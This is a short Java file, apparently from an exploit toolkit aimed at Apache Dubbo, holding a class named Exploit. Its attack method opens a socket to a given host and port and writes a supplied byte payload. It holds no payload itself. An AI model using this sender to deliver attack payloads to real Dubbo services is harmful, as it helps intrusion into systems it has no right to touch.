package com.threedr3am.exp.dubbo;

import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;

/**
 * @author threedr3am
 */
public class Exploit {

  public void attack(String host, int port, byte[] payload) {
    Socket socket = null;
    try {
      socket = new Socket(host, port);
      OutputStream outputStream = socket.getOutputStream();
      outputStream.write(payload);
      outputStream.flush();
      outputStream.close();
    } catch (IOException e) {
      e.printStackTrace();
    }
  }
}
